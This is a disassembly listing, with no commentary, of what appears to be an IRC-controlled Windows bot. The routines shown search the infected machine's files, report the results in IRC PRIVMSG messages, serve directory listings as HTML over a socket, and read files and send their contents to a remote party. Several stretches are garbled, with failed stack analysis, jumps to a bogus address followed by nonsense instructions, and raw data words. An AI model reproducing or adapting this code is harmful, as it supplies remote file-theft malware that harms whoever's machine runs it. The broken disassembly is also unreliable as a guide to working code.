		mov	ebx, [ebp+var_128]
		inc	eax


loc_40F7A9:				; CODE XREF: sub_40F477+314j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40F794
		dec	ebx
		mov	[ebp+var_128], ebx


loc_40F7B7:				; CODE XREF: sub_40F477+308j
					; sub_40F477+31Bj
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B1D0
		mov	esi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B1D0
		add	esi, eax
		pop	ecx
		cmp	esi, 104h
		pop	ecx
		jnb	short loc_40F81A
		and	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	ds:dword_4CDC94	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_0]
		call	sub_40FA29
		add	esp, 14h
		jmp	short loc_40F823
; ---------------------------------------------------------------------------


loc_40F81A:				; CODE XREF: sub_40F477+364j
		push	[ebp+arg_0]
		call	ds:dword_4CDC90	; closesocket


loc_40F823:				; CODE XREF: sub_40F477+11Dj
					; sub_40F477+146j ...
		mov	edi, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jbe	loc_40F584
		jmp	loc_40F54E
; ---------------------------------------------------------------------------


loc_40F838:				; CODE XREF: sub_40F477+102j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx


loc_40F83D:				; CODE XREF: sub_40F477+6Aj
					; sub_40F477+92j ...
		call	ds:dword_4CDB8C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4364A4
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F883
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409966
		add	esp, 14h


loc_40F883:				; CODE XREF: sub_40F477+3E7j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4152AE
		pop	ecx
		push	edi
		call	ds:dword_4CDC90	; closesocket
		push	[ebp+var_254]
		call	sub_40B287
		pop	ecx
		push	ebx
		call	near ptr 0B10000h
		sbb	[edi+5Eh], bl
		pop	ebx
sub_40F477	endp ; sp-analysis failed



loc_40F8AD:				; DATA XREF: sub_40FA29+245o
		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BD10
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp-44Ch]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp-3C8h]
		push	eax
		lea	eax, [ebp-550h]
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-654h]
		push	eax
		call	sub_41BA76
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp-0A4h], edi
		lea	eax, [ebp-9Ch]
		jz	short loc_40F918
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------


loc_40F918:				; CODE XREF: seg000:0040F90Fj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F91D:				; CODE XREF: seg000:0040F916j
		push	eax
		call	sub_41BA76
		pop	ecx
		lea	eax, [ebp-68h]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 0B10000h
		or	dword ptr [ebp+1E6AE045h], 50h
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 0B10000h
		test	byte ptr [ebp-427C1FBBh], 48h
; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 98458D50h, 0E0458D50h, 98458D50h, 0E0458D50h
		dd 98458D50h, 64858D50h, 75FFFFFFh, 858D5017h, 0FFFFE9ACh
		dd 4365C868h, 0EBE85000h, 830000C0h, 1BEB24C4h,	0FF48B5FFh
		dd 8D50FFFFh, 0FFE9AC85h, 64D868FFh, 0E8500043h, 0C0CEh
		dd 8D28C483h, 0FFE9AC85h, 0E85057FFh, 0B818h, 858D5059h
		dd 0FFFFE9ACh, 0B4B5FF50h, 0FFFFFFFBh, 4CDC4815h, 5CBD3900h
		dd 75FFFFFFh, 0B0858D16h, 50FFFFFAh, 0FBB4B5FFh, 72E8FFFFh
		dd 59000009h, 8D1DEB59h, 0FFF9AC85h, 0FF5750FFh, 0FFFBB4B5h
		dd 0B0858DFFh, 50FFFFFAh, 2D3E8h, 10C48300h, 0FBB4B5FFh
		dd 15FFFFFFh, 4CDC90h, 0FF4CB5FFh, 68E8FFFFh, 59FFFFB8h
		dd 5DAE857h, 5FB30070h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA29	proc near		; CODE XREF: sub_40F477+399p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B780
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_40FA5F
		push	offset aS_5	; "\\%s"
		jmp	short loc_40FA67
; ---------------------------------------------------------------------------


loc_40FA5F:				; CODE XREF: sub_40FA29+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_40FA67:				; CODE XREF: sub_40FA29+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B1D0
		test	eax, eax
		pop	ecx
		jbe	short loc_40FB02
		mov	[ebp+arg_8], 2


loc_40FA92:				; CODE XREF: sub_40FA29+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B1D0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40FAD2
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40FAD2
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40FAD2
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40FAD2
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40FAEC
; ---------------------------------------------------------------------------


loc_40FAD2:				; CODE XREF: sub_40FA29+79j
					; sub_40FA29+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40FAE2
		push	5Ch
		pop	eax
		jmp	short loc_40FAE5
; ---------------------------------------------------------------------------


loc_40FAE2:				; CODE XREF: sub_40FA29+B2j
		movsx	eax, al


loc_40FAE5:				; CODE XREF: sub_40FA29+B7j
		mov	[ebp+ebx+var_210], al


loc_40FAEC:				; CODE XREF: sub_40FA29+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B1D0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40FA92


loc_40FB02:				; CODE XREF: sub_40FA29+60j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_42AAEC
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_314]
		push	offset asc_42B0FC ; "\n"
		push	eax
		call	sub_41C2E4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_428098	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_40FB50
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FB53
		push	[ebp+arg_0]
		jmp	short loc_40FBCF
; ---------------------------------------------------------------------------


loc_40FB50:				; CODE XREF: sub_40FA29+11Bj
		mov	[ebp+var_4], esi


loc_40FB53:				; CODE XREF: sub_40FA29+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40FB60
		mov	[ebp+var_4], esi


loc_40FB60:				; CODE XREF: sub_40FA29+132j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40FBDA
		cmp	[ebp+arg_C], edi
		jz	short loc_40FBCE
		lea	eax, [ebp+var_314]
		push	offset asc_436758 ; "*"
		push	eax
		call	sub_41C0B0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410416
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41BA76
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_40FC29
; ---------------------------------------------------------------------------


loc_40FBCE:				; CODE XREF: sub_40FA29+14Ej
		push	ebx


loc_40FBCF:				; CODE XREF: sub_40FA29+125j
		call	ds:dword_4CDC90	; closesocket
		jmp	loc_40FCBF
; ---------------------------------------------------------------------------


loc_40FBDA:				; CODE XREF: sub_40FA29+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	ds:dword_4280EC	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40FC29
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41BA76
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 0B10000h
		scasb
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_42806C	; CloseHandle


loc_40FC29:				; CODE XREF: sub_40FA29+1A3j
					; sub_40FA29+1CEj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_436724
		push	eax
		call	sub_41BA76
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40AF71
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_440B3C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset loc_40F8AD
		push	edi
		push	edi
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40FCCE
		push	ebx
		call	ds:dword_4CDC90	; closesocket
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_4366EC
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4152AE
		add	esp, 10h


loc_40FCBF:				; CODE XREF: sub_40FA29+1ACj
					; sub_40FA29+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FCC6:				; CODE XREF: sub_40FA29+2ABj
		push	5
		call	ds:dword_428064	; Sleep


loc_40FCCE:				; CODE XREF: sub_40FA29+266j
		cmp	[ebp+var_318], edi
		jz	short loc_40FCC6
		jmp	short loc_40FCBF
sub_40FA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FCD8	proc near		; CODE XREF: seg000:004091A4p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B780
		mov	edi, [ebp+arg_0]
		push	offset asc_42B0FC ; "\n"
		push	edi
		call	sub_41C2E4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_40FD37
		push	[ebp+arg_8]
		mov	esi, 200h
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 14h
		jmp	loc_40FE33
; ---------------------------------------------------------------------------


loc_40FD37:				; CODE XREF: sub_40FCD8+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FE19
		call	sub_41B1D0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		push	edi
		call	sub_41B1D0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 0Ch
		jmp	short loc_40FE33
; ---------------------------------------------------------------------------


loc_40FE19:				; CODE XREF: sub_40FCD8+62j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 10h


loc_40FE33:				; CODE XREF: sub_40FCD8+5Aj
					; sub_40FCD8+13Fj
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FECB
		push	[ebp+arg_C]
		call	sub_41B1D0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FECB
		push	[ebp+arg_C]
		call	sub_41B1D0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FE7F


loc_40FE73:				; CODE XREF: sub_40FCD8+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FE7F
		dec	eax
		jnz	short loc_40FE73


loc_40FE7F:				; CODE XREF: sub_40FCD8+199j
					; sub_40FCD8+1A2j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B7E0
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send


loc_40FECB:				; CODE XREF: sub_40FCD8+17Dj
					; sub_40FCD8+18Bj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_428000	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	ds:dword_42811C	; FindNextFileA
		test	eax, eax
		jz	loc_4102C2
		mov	edi, 1FFh


loc_40FEF7:				; CODE XREF: sub_40FCD8+5E4j
		cmp	[ebp+var_388], ebx
		jz	loc_4102AA
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4102AA
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4102AA
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 0B10000h
		in	al, 8Dh
		inc	ebp
		call	near ptr 0E0868CA1h
		push	eax
		call	near ptr 0B10000h
		sub	al, 66h
		mov	eax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	loc_40FFF4
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_40FF73:				; CODE XREF: sub_40FCD8+322j
		push	ecx
		movzx	ecx, word ptr [ebp+var_10+2]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41BA76
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_41012B
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FFFF
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41BB70
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 28h
		jmp	loc_41027B
; ---------------------------------------------------------------------------


loc_40FFF4:				; CODE XREF: sub_40FCD8+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_40FF73
; ---------------------------------------------------------------------------


loc_40FFFF:				; CODE XREF: sub_40FCD8+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_4100E9
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]


loc_410051:				; DATA XREF: seg002:00433C1Do
					; seg002:0043444Do
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B1D0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_4100A5
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4100AA
; ---------------------------------------------------------------------------


loc_4100A5:				; CODE XREF: sub_40FCD8+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4100AA:				; CODE XREF: sub_40FCD8+3CBj
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_41026C
; ---------------------------------------------------------------------------


loc_4100E9:				; CODE XREF: sub_40FCD8+32Aj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41BB70
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_410116:				; CODE XREF: sub_40FCD8+47Bj
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 24h
		jmp	loc_41027B
; ---------------------------------------------------------------------------


loc_41012B:				; CODE XREF: sub_40FCD8+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410155
		push	ebx
		push	[ebp+var_368]
		call	sub_416994
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_410116
; ---------------------------------------------------------------------------


loc_410155:				; CODE XREF: sub_40FCD8+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_410255
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_42AAEC
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B1D0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_4101FB
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410200
; ---------------------------------------------------------------------------


loc_4101FB:				; CODE XREF: sub_40FCD8+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410200:				; CODE XREF: sub_40FCD8+521j
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 1Ch
		jmp	short loc_41027B
; ---------------------------------------------------------------------------


loc_410255:				; CODE XREF: sub_40FCD8+480j
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_41026C:				; CODE XREF: sub_40FCD8+40Cj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41BB70
		add	esp, 18h


loc_41027B:				; CODE XREF: sub_40FCD8+317j
					; sub_40FCD8+44Ej ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_4102AA
		push	7D0h
		call	ds:dword_428064	; Sleep


loc_4102AA:				; CODE XREF: sub_40FCD8+225j
					; sub_40FCD8+240j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42811C	; FindNextFileA
		test	eax, eax
		jnz	loc_40FEF7


loc_4102C2:				; CODE XREF: sub_40FCD8+214j
		push	[ebp+arg_0]
		call	near ptr 0B10000h
		insd
		cmp	[ebp+arg_8], ebx
		jz	short loc_410305
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416994
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416994
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41BA76
		add	esp, 14h
		jmp	short loc_410333
; ---------------------------------------------------------------------------


loc_410305:				; CODE XREF: sub_40FCD8+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_248]
		jz	short loc_41031F
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		jmp	short loc_410333
; ---------------------------------------------------------------------------


loc_41031F:				; CODE XREF: sub_40FCD8+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41BA76
		add	esp, 10h


loc_410333:				; CODE XREF: sub_40FCD8+62Bj
					; sub_40FCD8+645j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40FCD8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	dword ptr [ebp+0Ch]
		mov	edi, 400h
		mov	[ebp-4], esi
		call	ds:dword_4280EC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410411
		push	esi
		push	ebx
		call	near ptr 0B10000h
		and	eax, 4589C63Bh
		or	al, 74h
		insb


loc_41039E:				; CODE XREF: seg000:00410408j
		push	400h
		lea	eax, [ebp-404h]
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		cmp	edi, [ebp+0Ch]
		jbe	short loc_4103BB
		mov	edi, [ebp+0Ch]


loc_4103BB:				; CODE XREF: seg000:004103B6j
		mov	eax, [ebp+0Ch]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_428120	; SetFilePointer
		lea	eax, [ebp-4]
		push	esi
		push	eax
		lea	eax, [ebp-404h]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_4280E8	; ReadFile
		push	esi
		lea	eax, [ebp-404h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC48	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410405
